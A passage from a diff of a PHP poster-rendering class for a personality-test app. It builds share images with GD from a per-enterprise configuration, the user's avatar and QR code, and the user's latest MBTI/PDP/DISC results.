$file]) { - if (file_exists($base . $file)) { - $list[] = ['key' => $key, 'name' => $name]; - } - } - // 兼容旧字体 - $legacy = ['simhei.ttf' => '黑体', 'msyh.ttf' => '微软雅黑']; - foreach ($legacy as $file => $name) { - if (file_exists($base . $file)) { - $list[] = ['key' => pathinfo($file, PATHINFO_FILENAME), 'name' => $name]; - } - } - return $list; - } - - // ───────────────────────────────────────────── - // NEW:根据超管可视化配置渲染海报 - // ───────────────────────────────────────────── - - /** - * 读取 poster_config 并渲染,若无配置则回退到旧版 build() - * @param int|null $enterpriseId 企业 ID,优先读 enterprise_id={id} 行,无则降级到 enterprise_id=0 全局行 - */ - public static function buildFromConfig(array $user, string $qrBinary, ?string $avatarBinary = null, ?int $enterpriseId = null): string - { - $raw = null; - - // 1. 优先读取企业专属海报配置(enterprise_id 列) - if ($enterpriseId > 0) { - $eidRow = Db::name('system_config') - ->where('key', 'poster_config') - ->where('enterprise_id', $enterpriseId) - ->find(); - if ($eidRow && !empty($eidRow['value'])) { - $raw = $eidRow['value']; - } - } - - // 2. 降级到全局配置(enterprise_id=0) - if ($raw === null) { - $row = Db::name('system_config') - ->where('key', 'poster_config') - ->where('enterprise_id', 0) - ->find(); - $raw = $row['value'] ?? null; - } - - // 安全解码:处理可能的多重 JSON 编码 - $cfg = null; - if ($raw) { - $val = $raw; - for ($i = 0; $i < 5 && is_string($val); $i++) { - $decoded = json_decode($val, true); - if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) break; - $val = $decoded; - } - $cfg = is_array($val) ? $val : null; - } - - if (empty($cfg) || empty($cfg['elements']) || !is_array($cfg['elements'])) { - return self::build($user, $qrBinary, $avatarBinary); - } - - return self::renderConfig($cfg, $user, $qrBinary, $avatarBinary); - } - - /** - * 根据配置数组渲染海报 - */ - private static function renderConfig(array $cfg, array $user, string $qrBinary, ?string $avatarBinary): string - { - $s = self::SCALE; - $cw = self::CANVAS_W * $s; - $ch = self::CANVAS_H * $s; - - $img = imagecreatetruecolor($cw, $ch); - if (!$img) throw new \RuntimeException('GD image create failed'); - imagesavealpha($img, true); - imagealphablending($img, true); - - // 背景颜色 - $bgColorHex = $cfg['bgColor'] ?? '#ffffff'; - $bgRgb = self::parseColorToRgb($bgColorHex); - $bgColor = imagecolorallocate($img, $bgRgb[0], $bgRgb[1], $bgRgb[2]); - imagefilledrectangle($img, 0, 0, $cw - 1, $ch - 1, $bgColor); - - // 背景图片 - if (!empty($cfg['bgImage'])) { - $bgBin = self::fetchImage($cfg['bgImage']); - if ($bgBin) { - $bgImg = @imagecreatefromstring($bgBin); - if ($bgImg) { - imagecopyresampled($img, $bgImg, 0, 0, 0, 0, $cw, $ch, imagesx($bgImg), imagesy($bgImg)); - imagedestroy($bgImg); - } - } - } - - // 缓存图像资源 - $qrRes = null; - $avatarRes = null; - - // 预先查询用户最近的测试结果(mbti / pdp / disc / face) - $testResults = self::fetchLatestTestResults((int)($user['id'] ?? 0)); - - foreach ($cfg['elements'] as $el) { - $type = $el['type'] ?? ''; - $x = (int)(($el['x'] ?? 0) * $s); - $y = (int)(($el['y'] ?? 0) * $s); - $w = (int)(($el['w'] ?? 80) * $s); - $h = (int)(($el['h'] ?? 80) * $s); - - $fontKey = $el['fontFamily'] ?? null; - // 对齐方式:优先 align 字段,兼容旧 center 字段 - $align = $el['align'] ?? (!empty($el['center']) ? 'center' : 'left'); - - switch ($type) { - case 'text': - $text = $el['content'] ?? ''; - $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s)); - $colorHex = $el['color'] ?? '#333333'; - $bold = !empty($el['bold']); - $colorInt = self::allocateHexColor($img, $colorHex); - self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey); - break; - - case 'nickname': - $text = mb_substr($user['nickname'] ?? '好友', 0, 20); - $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s)); - $colorHex = $el['color'] ?? '#333333'; - $bold = !empty($el['bold']); - $colorInt = self::allocateHexColor($img, $colorHex); - self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey); - break; - - case 'avatar': - if ($avatarBinary) { - if (!$avatarRes) $avatarRes = @imagecreatefromstring($avatarBinary); - if ($avatarRes) { - $shape = $el['shape'] ?? 'circle'; - self::drawImageElement($img, $avatarRes, $x, $y, $w, $h, $shape); - } - } - break; - - case 'qrcode': - if (!$qrRes) $qrRes = @imagecreatefromstring($qrBinary); - if ($qrRes) { - self::drawImageElement($img, $qrRes, $x, $y, $w, $h, 'square'); - } - break; - - case 'image': - if (!empty($el['url'])) { - $bin = self::fetchImage($el['url']); - if ($bin) { - $staticImg = @imagecreatefromstring($bin); - if ($staticImg) { - $shape = $el['shape'] ?? 'square'; - self::drawImageElement($img, $staticImg, $x, $y, $w, $h, $shape); - imagedestroy($staticImg); - } - } - } - break; - - case 'mbti': - case 'pdp': - case 'disc': - $text = $testResults[$type] ?? ($el['content'] ?? strtoupper($type)); - $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s)); - $colorHex = $el['color'] ?? '#333333'; - $bold = !empty($el['bold']); - $colorInt = self::allocateHexColor($img, $colorHex); - self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey); - break; - } - } - - if ($qrRes) imagedestroy($qrRes); - if ($avatarRes) imagedestroy($avatarRes); - - ob_start(); - imagepng($img); - $png = ob_get_clean(); - imagedestroy($img); - return $png ?: ''; - } - - /** - * 查询用户最近各类型测试的 resultText - * 复用 Test::_formatRecentRow 的解析逻辑 - * @return array ['mbti' => 'ESTP', 'pdp' => '老虎型', 'disc' => 'D型'] - */ - private static function fetchLatestTestResults(int $userId): array - { - $out = []; - if ($userId <= 0) return $out; - - $types = ['face', 'mbti', 'pdp', 'disc']; - foreach ($types as $t) { - $row = Db::name('test_results') - ->where('userId', $userId) - ->where('testType', $t) - ->order('createdAt', 'desc') - ->field('resultData, testType') - ->find(); - if (!$row || empty($row['resultData'])) continue; - $raw = $row['resultData']; - $data = is_string($raw) ? json_decode($raw, true) : $raw; - if (!is_array($data)) continue; - - switch ($t) { - case 'face': - // face 结果中包含 mbti/pdp/disc 子结构 - if (!isset($out['mbti'])) { - $v = ''; - if (isset($data['mbti']['type'])) $v = $data['mbti']['type']; - elseif (isset($data['mbti']) && is_scalar($data['mbti'])) $v = (string)$data['mbti']; - if ($v !== '') $out['mbti'] = $v; - } - if (!isset($out['pdp'])) { - $v = ''; - if (isset($data['pdp']['type'])) $v = $data['pdp']['type']; - elseif (isset($data['pdp']) && is_scalar($data['pdp'])) $v = (string)$data['pdp']; - if ($v !== '') $out['pdp'] = $v; - } - if (!isset($out['disc'])) { - $v = ''; - if (isset($data['disc']['primary'])) $v = $data['disc']['primary'] . '型'; - elseif (isset($data['disc']) && is_scalar($data['disc'])) $v = (string)$data['disc']; - if ($v !== '') $out['disc'] = $v; - } - break; - case 'mbti': - if (!isset($out['mbti'])) { - $v = $data['mbtiType'] ?? $data['mbti'] ?? ''; - if (is_array($v)) $v = $v['type'] ?? ''; - if ((string)$v !== '') $out['mbti'] = (string)$v; - } - break; - case 'pdp': - if (!isset($out['pdp'])) { - $v = $data['description']['type'] ?? $data['pdp'] ?? ''; - if (is_array($v)) $v = $v['type'] ?? ''; - if ((string)$v !== '') $out['pdp'] = (string)$v; - } - break; - case 'disc': - if (!isset($out['disc'])) { - $v = $data['dominantType'] ?? $data['disc'] ?? ''; - if (is_array($v)) $v = $v['type'] ?? $v['primary'] ?? ''; - if ((string)$v !== '') $out['disc'] = (string)$v . '型'; - } - break; - } - } - return $out; - } - - /** - * 在指定区域内绘制文字(imagettftext 的 y 为基线坐标) - */ - private static function drawTextBlock($img, int $x, int $y, int $w, int $h, string $text, int $color, int $fontSize, bool $bold, string $align = 'left', ?string $fontKey = null): void - { - $font = self::getFontPath($fontKey); - if ($font && function_exists('imagettftext')) { - $textW = self::ttfTextWidth($font, $fontSize, $text); - switch ($align) { - case 'center': $drawX = $x + (int)(($w - $textW) / 2); break; - case 'right': $drawX = $x + $w - $textW - 6; break; - default: $drawX = $x + 6; break; - } - $drawY = $y + (int)(($h + $fontSize * 0.8) / 2); - imagettftext($img, $fontSize, 0, $drawX, $drawY, $color, $font, $text); - } else { - $f = $fontSize <= 16 ? 4 : 5; - $textW = imagefontwidth($f) * mb_strlen($text); - switch ($align) { - case 'center': $drawX = $x + (int)(($w - $textW) / 2); break; - case 'right': $drawX = $x + $w - $textW - 4; break; - default: $drawX = $x + 4; break; - } - imagestring($img, $f, $drawX, $y + (int)(($h - imagefontheight($f)) / 2), preg_replace('/[^\x20-\x7e]/', '?', $text), $color); - } - } - - /** - * 估算 TTF 文字宽度(近似) - */ - private static function ttfTextWidth(string $font, int $size, string $text): int - { - if (function_exists('imagettfbbox')) { - $box = imagettfbbox($size, 0, $font, $text); - return $box ? abs($box[4] - $box[0]) : $size * mb_strlen($text); - } - return $size * mb_strlen($text); - } - - /** - * 将图像资源绘制到画布(支持圆形/方形裁剪) - */ - private static function drawImageElement($img, $src, int $x, int $y, int $w, int $h, string $shape): void - { - $srcW = imagesx($src); - $srcH = imagesy($src); - - if ($shape === 'circle') { - // 先绘制到临时图像再做圆形遮罩 - $tmp = imagecreatetruecolor($w, $h); - imagesavealpha($tmp, true); - imagealphablending($tmp, false); - $transparent = imagecolorallocatealpha($tmp, 0, 0, 0, 127); - imagefilledrectangle($tmp, 0, 0, $w - 1, $h - 1, $transparent); - imagealphablending($tmp, true); - imagecopyresampled($tmp, $src, 0, 0, 0, 0, $w, $h, $srcW, $srcH); - - // 圆形遮罩(逐像素)—— 仅在 GD 无更好方案时使用 - $mask = imagecreatetruecolor($w, $h); - imagesavealpha($mask, true); - imagealphablending($mask, false); - imagefilledrectangle($mask, 0, 0, $w - 1, $h - 1, imagecolorallocatealpha($mask, 0, 0, 0, 127)); - imagealphablending($mask, true); - imagefilledellipse($mask, (int)($w / 2), (int)($h / 2), $w, $h, imagecolorallocate($mask, 255, 255, 255)); - - // 将 tmp 叠加到主图(遮罩内白外黑,白色表示保留区域) - for ($px = 0; $px < $w; $px++) { - for ($py = 0; $py < $h; $py++) { - $mPx = imagecolorat($mask, $px, $py); - $rMask = ($mPx >> 16) & 0xFF; - if ($rMask > 128) { - $srcPx = imagecolorat($tmp, $px, $py); - $r = ($srcPx >> 16) & 0xFF; - $g = ($srcPx >> 8) & 0xFF; - $b = $srcPx & 0xFF; - $c = imagecolorallocate($img, $r, $g, $b); - imagesetpixel($img, $x + $px, $y + $py, $c); - } - } - } - imagedestroy($tmp); - imagedestroy($mask); - } else { - imagecopyresampled($img, $src, $x, $y, 0, 0, $w, $h, $srcW, $srcH); - } - } - - /** - * 将颜色字符串解析为 RGB 数组 - * 支持 #fff、#ffffff、rgba(r,g,b,a)、rgb(r,g,b)、数组 [r,g,b] - */ - private static function parseColorToRgb($color): array - { - if (is_array($color)) { - $r = (int)($color['r'] ?? $color[0] ?? 51); - $g = (int)($color['g'] ?? $color[1] ?? 51); - $b = (int)($color['b'] ?? $color[2] ?? 51); - return [min(255, max(0, $r)), min(255, max(0, $g)), min(255, max(0, $b))]; - } - if (!is_string($color) && !is_scalar($color)) { - return [51, 51, 51]; - } - $s = trim((string)$color); - if ($s === '') { - return [51, 51, 51]; - } - // rgba(r,g,b,a) 或 rgb(r,g,b) - if (preg_match('/^rgba?\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)/i', $s, $m)) { - return [(int)min(255, $m[1]), (int)min(255, $m[2]), (int)min(255, $m[3])]; - } - // 仅保留 # 后合法十六进制字符 - $hex = preg_replace('/[^0-9a-fA-F]/', '', ltrim($s, '#')); - if (strlen($hex) === 3) { - $hex = $hex[0].$hex[0].$hex[1].$hex[1].$hex[2].$hex[2]; - } - if (strlen($hex) !== 6) { - return [51, 51, 51]; - } - $r = (int)hexdec(substr($hex, 0, 2)); - $g = (int)hexdec(substr($hex, 2, 2)); - $b = (int)hexdec(substr($hex, 4, 2)); - return [min(255, $r), min(255, $g), min(255, $b)]; - } - - private static function allocateHexColor($img, $hex): int - { - [$r, $g, $b] = self::parseColorToRgb($hex); - return imagecolorallocate($img, $r, $g, $b); - } - - /** - * 根据字体 key 获取字体文件路径;key 为空则返回第一个可用字体 - */ - private static function getFontPath(?string $fontKey = null): ?string - { - $base = root_path() . 'public/fonts/'; - - // 按 key 精确查找 - if ($fontKey) { - if (isset(self::FONT_MAP[$fontKey])) { - $p = $base . self::FONT_MAP[$fontKey][1]; - if (file_exists($p)) return $p; - } - // 兼容旧字体 key(如 simhei / msyh) - $legacy = $base . $fontKey . '.ttf'; - if (file_exists($legacy)) return $legacy; - } - - // 回退:按优先级返回第一个可用字体 - foreach (self::FONT_MAP as [$name, $file]) { - $p = $base . $file; - if (file_exists($p)) return $p; - } - $fallbacks = [$base . 'simhei.ttf', $base . 'msyh.ttf', '/usr/share/fonts/truetype/wqy/wqy-microhei.ttc']; - foreach ($fallbacks as $p) { - if (file_exists($p)) return $p; - } - return null; - } - - private static function drawText($img, int $x, int $y, string $text, int $color, int $size = 14): void - { - $font = self::getFontPath(); - if ($font && function_exists('imagettftext')) { - imagettftext($img, $size, 0, $x, $y + $size, $color, $font, $text); - } else { - $f = $size <= 12 ? 4 : 5; - imagestring($img, $f, $x, $y, preg_replace('/[^\x20-\x7e]/', '', $text) ?: $text, $color); - } - } - - /** - * 合成推广海报 PNG 二进制 - * @param array $user 当前用户 {id, nickname, avatar} - * @param string $qrBinary 小程序码 PNG 二进制 - * @param string|null $avatarBinary 头像二进制(已下载),为空则跳过 - */ - public static function build(array $user, string $qrBinary, ?string $avatarBinary = null): string - { - $w = self::WIDTH; - $h = self::HEIGHT; - $img = imagecreatetruecolor($w, $h); - if (!$img) { - throw new \RuntimeException('GD image create failed'); - } - imagesavealpha($img, true); - imagealphablending($img, true); - - self::drawGradient($img, 0, 0, $w, (int)($h * 0.45), [0xFF, 0xD1, 0xE3], [0xE9, 0xD5, 0xFF]); - $white = imagecolorallocate($img, 255, 255, 255); - imagefilledrectangle($img, 0, (int)($h * 0.4), $w, $h, $white); - - $primary = imagecolorallocate($img, 244, 63, 94); - $secondary = imagecolorallocate($img, 139, 92, 246); - $orange = imagecolorallocate($img, 249, 115, 22); - $dark = imagecolorallocate($img, 30, 41, 59); - $gray = imagecolorallocate($img, 100, 116, 139); - $lightGray = imagecolorallocate($img, 148, 163, 184); - $cx = (int)($w / 2); - - self::drawRoundedRect($img, 30, 50, 60, 20, 10, imagecolorallocatealpha($img, 255, 255, 255, 80)); - self::drawRoundedRect($img, 130, 50, 60, 20, 10, $primary); - self::drawText($img, 45, 52, '专业分析', $primary, 10); - self::drawText($img, 145, 52, '结果精准', $white, 10); - - self::drawText($img, $cx - 80, 100, 'MBTI 神仙测试', $dark, 22); - - self::drawRoundedRect($img, $cx - 80, 150, 65, 24, 8, imagecolorallocatealpha($img, 255, 255, 255, 50)); - self::drawRoundedRect($img, $cx + 5, 150, 65, 24, 8, imagecolorallocatealpha($img, 255, 255, 255, 50)); - self::drawText($img, $cx - 70, 155, 'INTJ', $primary, 10); - self::drawText($img, $cx - 45, 155, '战略家', $gray, 10); - self::drawText($img, $cx + 15, 155, 'PDP', $secondary, 10); - self::drawText($img, $cx + 40, 155, '猫头鹰', $gray, 10); - - $gridY = 220; - $gridW = (int)(($w - 80) / 3); - self::drawStatCard($img, 30, $gridY, $gridW, 70, '100+', '性格档案', $primary); - self::drawStatCard($img, 30 + $gridW + 10, $gridY, $gridW, 70, '0%', '好友折扣', $secondary); - self::drawStatCard($img, 30 + ($gridW + 10) * 2, $gridY, $gridW, 70, '90%', '收益分红', $orange); - - $cardY = 320; - self::drawRoundedRect($img, 30, $cardY, $w - 60, 180, 20, $white); - imagefilledrectangle($img, 45, $cardY + 18, 49, $cardY + 34, $primary); - self::drawText($img, 55, $cardY + 15, '完整版性格深度解析', $dark, 12); - $bullets = [ - '你的决策风格在高压场景下会如何变化?', - '在团队中更适合担当怎样的关键角色?', - '哪些性格盲区最容易拖累你的发展?', - ]; - foreach ($bullets as $i => $t) { - self::drawText($img, 50, $cardY + 50 + $i * 28, '• ' . $t, $gray, 10); - } - - $recY = 530; - self::drawRoundedRect($img, $cx - 100, $recY, 200, 36, 18, imagecolorallocate($img, 248, 250, 252)); - if ($avatarBinary) { - $avatar = @imagecreatefromstring($avatarBinary); - if ($avatar) { - imagecopyresampled($img, $avatar, $cx - 92, $recY + 6, 0, 0, 24, 24, imagesx($avatar), imagesy($avatar)); - imagedestroy($avatar); - } - } - $nickname = mb_substr($user['nickname'] ?? '好友', 0, 8); - self::drawText($img, $cx - 95, $recY + 12, '由 ' . $nickname . ' 推荐给你', $gray, 10); - - $qrY = 620; - $qrImg = @imagecreatefromstring($qrBinary); - if ($qrImg) { - $qrSize = 88; - $qrX = $cx - (int)($qrSize / 2); - imagecopyresampled($img, $qrImg, $qrX, $qrY + 6, 0, 0, $qrSize, $qrSize, imagesx($qrImg), imagesy($qrImg)); - imagedestroy($qrImg); - } - self::drawText($img, $cx - 80, $qrY + 100, '扫码解锁完整报告', $lightGray, 10); - $inviteCode = 'MBTI-' . ($user['id'] ?? '888'); - self::drawText($img, $cx - 60, $qrY + 125, '邀请码 ' . $inviteCode, $primary, 11); - - ob_start(); - imagepng($img); - $png = ob_get_clean(); - imagedestroy($img); - return $png ?: ''; - } - - private static function drawGradient($img, $x, $y, $w, $h, array $from, array $to): void - { - for ($i = 0; $i < $h; $i++) { - $r = (int)($from[0] + ($to[0] - $from[0]) * $i / $h); - $g = (int)($from[1] + ($to[1] - $from[1]) * $i / $h); - $b = (int)($from[2] + ($to[2] - $from[2]) * $i / $h); - $c = imagecolorallocate($img, max(0, min(255, $r)), max(0, min(255, $g)), max(0, min(255, $b))); - imagefilledrectangle($img, $x, $y + $i, $x + $w - 1, $y + $i, $c); - } - } - - private static function drawRoundedRect($img, $x, $y, $w, $h, $r, $color): void - { - imagefilledrectangle($img, $x + $r, $y, $x + $w - $r - 1, $y + $h - 1, $color); - imagefilledrectangle($img, $x, $y + $r, $x + $w - 1, $y + $h - $r - 1, $color); - imagefilledellipse($img, $x + $r, $y + $r, $r * 2, $r * 2, $color); - imagefilledellipse($img, $x + $w - $r - 1, $y + $r, $r * 2, $r * 2, $color); - imagefilledellipse($img, $x + $r, $y + $h - $r - 1, $r * 2, $r * 2, $color); - imagefilledellipse($img, $x + $w - $r - 1, $y + $h - $r - 1, $r * 2, $r * 2, $color); - } - - private static function drawStatCard($img, $x, $y, $w, $h, string $val, string $label, int $color): void - { - $white = imagecolorallocate($img, 255, 255, 255); - self::drawRoundedRect($img, $x, $y, $w, $h, 15, $white); - $gray = imagecolorallocate($img, 148, 163, 184); - $lw = imagefontwidth(5) * strlen($val); - imagestring($img, 5, $x + ($w - $lw) / 2, $y + 20, $val, $color); - $lw2 = imagefontwidth(4) * strlen($label); - imagestring($img, 4, $x + ($w - $lw2) / 2, $y + 45, $label, $gray); - } - - /** - * 下载远程图片为二进制 - */ - public static function fetchImage(string $url): ?string - { - $url = str_replace('http://', 'https://', $url); - $ctx = stream_context_create(['http' => ['timeout' => 10]]); - $bin = @file_get_contents($url, false, $ctx); - return $bin !== false ? $bin : null; - } -} + [显示名, 文件名] + * 文件存放于 public/fonts/ 目录 + */ + private const FONT_MAP = [ + 'noto-sans' => ['思源黑体', 'NotoSansCJKsc-Regular.otf'], + 'noto-serif' => ['思源宋体', 'NotoSerifCJKsc-Regular.otf'], + 'alimama' => ['阿里妈妈方圆体', 'AlimamaFangYuanTiVF.ttf'], + 'wqy-microhei' => ['文泉驿微米黑', 'wqy-microhei.ttc'], + ]; + + /** + * 返回服务器上实际可用的字体列表 + * @return array [ ['key'=>'noto-sans','name'=>'思源黑体'], ... ] + */ + public static function getAvailableFonts(): array + { + $base = root_path() . 'public/fonts/'; + $list = []; + foreach (self::FONT_MAP as $key => [$name, $file]) { + if (file_exists($base . $file)) { + $list[] = ['key' => $key, 'name' => $name]; + } + } + // 兼容旧字体 + $legacy = ['simhei.ttf' => '黑体', 'msyh.ttf' => '微软雅黑']; + foreach ($legacy as $file => $name) { + if (file_exists($base . $file)) { + $list[] = ['key' => pathinfo($file, PATHINFO_FILENAME), 'name' => $name]; + } + } + return $list; + } + + // ───────────────────────────────────────────── + // NEW:根据超管可视化配置渲染海报 + // ───────────────────────────────────────────── + + /** + * 读取 poster_config 并渲染,若无配置则回退到旧版 build() + * @param int|null $enterpriseId 企业 ID,优先读 enterprise_id={id} 行,无则降级到 enterprise_id=0 全局行 + */ + public static function buildFromConfig(array $user, string $qrBinary, ?string $avatarBinary = null, ?int $enterpriseId = null): string + { + $raw = null; + + // 1. 优先读取企业专属海报配置(enterprise_id 列) + if ($enterpriseId > 0) { + $eidRow = Db::name('system_config') + ->where('key', 'poster_config') + ->where('enterprise_id', $enterpriseId) + ->find(); + if ($eidRow && !empty($eidRow['value'])) { + $raw = $eidRow['value']; + } + } + + // 2. 降级到全局配置(enterprise_id=0) + if ($raw === null) { + $row = Db::name('system_config') + ->where('key', 'poster_config') + ->where('enterprise_id', 0) + ->find(); + $raw = $row['value'] ?? null; + } + + // 安全解码:处理可能的多重 JSON 编码 + $cfg = null; + if ($raw) { + $val = $raw; + for ($i = 0; $i < 5 && is_string($val); $i++) { + $decoded = json_decode($val, true); + if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) break; + $val = $decoded; + } + $cfg = is_array($val) ? $val : null; + } + + if (empty($cfg) || empty($cfg['elements']) || !is_array($cfg['elements'])) { + return self::build($user, $qrBinary, $avatarBinary); + } + + return self::renderConfig($cfg, $user, $qrBinary, $avatarBinary); + } + + /** + * 根据配置数组渲染海报 + */ + private static function renderConfig(array $cfg, array $user, string $qrBinary, ?string $avatarBinary): string + { + $s = self::SCALE; + $cw = self::CANVAS_W * $s; + $ch = self::CANVAS_H * $s; + + $img = imagecreatetruecolor($cw, $ch); + if (!$img) throw new \RuntimeException('GD image create failed'); + imagesavealpha($img, true); + imagealphablending($img, true); + + // 背景颜色 + $bgColorHex = $cfg['bgColor'] ?? '#ffffff'; + $bgRgb = self::parseColorToRgb($bgColorHex); + $bgColor = imagecolorallocate($img, $bgRgb[0], $bgRgb[1], $bgRgb[2]); + imagefilledrectangle($img, 0, 0, $cw - 1, $ch - 1, $bgColor); + + // 背景图片 + if (!empty($cfg['bgImage'])) { + $bgBin = self::fetchImage($cfg['bgImage']); + if ($bgBin) { + $bgImg = @imagecreatefromstring($bgBin); + if ($bgImg) { + imagecopyresampled($img, $bgImg, 0, 0, 0, 0, $cw, $ch, imagesx($bgImg), imagesy($bgImg)); + imagedestroy($bgImg); + } + } + } + + // 缓存图像资源 + $qrRes = null; + $avatarRes = null; + + // 预先查询用户最近的测试结果(mbti / pdp / disc / face) + $testResults = self::fetchLatestTestResults((int)($user['id'] ?? 0)); + + foreach ($cfg['elements'] as $el) { + $type = $el['type'] ?? ''; + $x = (int)(($el['x'] ?? 0) * $s); + $y = (int)(($el['y'] ?? 0) * $s); + $w = (int)(($el['w'] ?? 80) * $s); + $h = (int)(($el['h'] ?? 80) * $s); + + $fontKey = $el['fontFamily'] ?? null; + // 对齐方式:优先 align 字段,兼容旧 center 字段 + $align = $el['align'] ?? (!empty($el['center']) ? 'center' : 'left'); + + switch ($type) { + case 'text': + $text = $el['content'] ?? ''; + $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s)); + $colorHex = $el['color'] ?? '#333333'; + $bold = !empty($el['bold']); + $colorInt = self::allocateHexColor($img, $colorHex); + self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey); + break; + + case 'nickname': + $text = mb_substr($user['nickname'] ?? '好友', 0, 20); + $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s)); + $colorHex = $el['color'] ?? '#333333'; + $bold = !empty($el['bold']); + $colorInt = self::allocateHexColor($img, $colorHex); + self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey); + break; + + case 'avatar': + if ($avatarBinary) { + if (!$avatarRes) $avatarRes = @imagecreatefromstring($avatarBinary); + if ($avatarRes) { + $shape = $el['shape'] ?? 'circle'; + self::drawImageElement($img, $avatarRes, $x, $y, $w, $h, $shape); + } + } + break; + + case 'qrcode': + if (!$qrRes) $qrRes = @imagecreatefromstring($qrBinary); + if ($qrRes) { + self::drawImageElement($img, $qrRes, $x, $y, $w, $h, 'square'); + } + break; + + case 'image': + if (!empty($el['url'])) { + $bin = self::fetchImage($el['url']); + if ($bin) { + $staticImg = @imagecreatefromstring($bin); + if ($staticImg) { + $shape = $el['shape'] ?? 'square'; + self::drawImageElement($img, $staticImg, $x, $y, $w, $h, $shape); + imagedestroy($staticImg); + } + } + } + break; + + case 'mbti': + case 'pdp': + case 'disc': + $text = $testResults[$type] ?? ($el['content'] ?? strtoupper($type)); + $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s)); + $colorHex = $el['color'] ?? '#333333'; + $bold = !empty($el['bold']); + $colorInt = self::allocateHexColor($img, $colorHex); + self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey); + break; + } + } + + if ($qrRes) imagedestroy($qrRes); + if ($avatarRes) imagedestroy($avatarRes); + + ob_start(); + imagepng($img); + $png = ob_get_clean(); + imagedestroy($img); + return $png ?: ''; + } + + /** + * 查询用户最近各类型测试的 resultText + * 复用 Test::_formatRecentRow 的解析逻辑 + * @return array ['mbti' => 'ESTP', 'pdp' => '老虎型', 'disc' => 'D型'] + */ + private static function fetchLatestTestResults(int $userId): array + { + $out = []; + if ($userId <= 0) return $out; + + $types = ['face', 'mbti', 'pdp', 'disc']; + foreach ($types as $t) { + $row = Db::name('test_results') + ->where('userId', $userId) + ->where('testType', $t) + ->order('createdAt', 'desc') + ->field('resultData, testType') + ->find(); + if (!$row || empty($row['resultData'])) continue; + $raw = $row['resultData']; + $data = is_string($raw) ? json_decode($raw, true) : $raw; + if (!is_array($data)) continue; + + switch ($t) { + case 'face': + // face 结果中包含 mbti/pdp/disc 子结构 + if (!isset($out['mbti'])) { + $v = ''; + if (isset($data['mbti']['type'])) $v = $data['mbti']['type']; + elseif (isset($data['mbti']) && is_scalar($data['mbti'])) $v = (string)$data['mbti']; + if ($v !== '') $out['mbti'] = $v; + } + if (!isset($out['pdp'])) { + $v = ''; + if (isset($data['pdp']['type'])) $v = $data['pdp']['type']; + elseif (isset($data['pdp']) && is_scalar($data['pdp'])) $v = (string)$data['pdp']; + if ($v !== '') $out['pdp'] = $v; + } + if (!isset($out['disc'])) { + $v = ''; + if (isset($data['disc']['primary'])) $v = $data['disc']['primary'] . '型'; + elseif (isset($data['disc']) && is_scalar($data['disc'])) $v = (string)$data['disc']; + if ($v !== '') $out['disc'] = $v; + } + break; + case 'mbti': + if (!isset($out['mbti'])) { + $v = $data['mbtiType'] ?? $data['mbti'] ?? ''; + if (is_array($v)) $v = $v['type'] ?? ''; + if ((string)$v !== '') $out['mbti'] = (string)$v; + } + break; + case 'pdp': + if (!isset($out['pdp'])) { + $v = $data['description']['type'] ?? $data['pdp'] ?? ''; + if (is_array($v)) $v = $v['type'] ?? ''; + if ((string)$v !== '') $out['pdp'] = (string)$v; + } + break; + case 'disc': + if (!isset($out['disc'])) { + $v = $data['dominantType'] ?? $data['disc'] ?? ''; + if (is_array($v)) $v = $v['type'] ?? $v['primary'] ?? ''; + if ((string)$v !== '') $out['disc'] = (string)$v . '型'; + } + break; + } + } + return $out; + } + + /** + * 在指定区域内绘制文字(imagettftext 的 y 为基线坐标) + */ + private static function drawTextBlock($img, int $x, int $y, int $w, int $h, string $text, int $color, int $fontSize, bool $bold, string $align = 'left', ?string $fontKey = null): void + { + $font = self::getFontPath($fontKey); + if ($font && function_exists('imagettftext')) { + $textW = self::ttfTextWidth($font, $fontSize, $text); + switch ($align) { + case 'center': $drawX = $x + (int)(($w - $textW) / 2); break; + case 'right': $drawX = $x + $w - $textW - 6; break; + default: $drawX = $x + 6; break; + } + $drawY = $y + (int)(($h + $fontSize * 0.8) / 2); + imagettftext($img, $fontSize, 0, $drawX, $drawY, $color, $font, $text); + } else { + $f = $fontSize <= 16 ? 4 : 5; + $textW = imagefontwidth($f) * mb_strlen($text); + switch ($align) { + case 'center': $drawX = $x + (int)(($w - $textW) / 2); break; + case 'right': $drawX = $x + $w - $textW - 4; break; + default: $drawX = $x + 4; break; + } + imagestring($img, $f, $drawX, $y + (int)(($h - imagefontheight($f)) / 2), preg_replace('/[^\x20-\x7e]/', '?', $text), $color); + } + } + + /** + * 估算 TTF 文字宽度(近似) + */ + private static function ttfTextWidth(string $font, int $size, string $text): int + { + if (function_exists('imagettfbbox')) { + $box = imagettfbbox($size, 0, $font, $text); + return $box ? abs($box[4] - $box[0]) : $size * mb_strlen($text); + } + return $size * mb_strlen($text); + } + + /** + * 将图像资源绘制到画布(支持圆形/方形裁剪) + */ + private static function drawImageElement($img, $src, int $x, int $y, int $w, int $h, string $shape): void + { + $srcW = imagesx($src); + $srcH = imagesy($src); + + if ($shape === 'circle') { + // 先绘制到临时图像再做圆形遮罩 + $tmp = imagecreatetruecolor($w, $h); + imagesavealpha($tmp, true); + imagealphablending($tmp, false); + $transparent = imagecolorallocatealpha($tmp, 0, 0, 0, 127); + imagefilledrectangle($tmp, 0, 0, $w - 1, $h - 1, $transparent); + imagealphablending($tmp, true); + imagecopyresampled($tmp, $src, 0, 0, 0, 0, $w, $h, $srcW, $srcH); + + // 圆形遮罩(逐像素)—— 仅在 GD 无更好方案时使用 + $mask = imagecreatetruecolor($w, $h); + 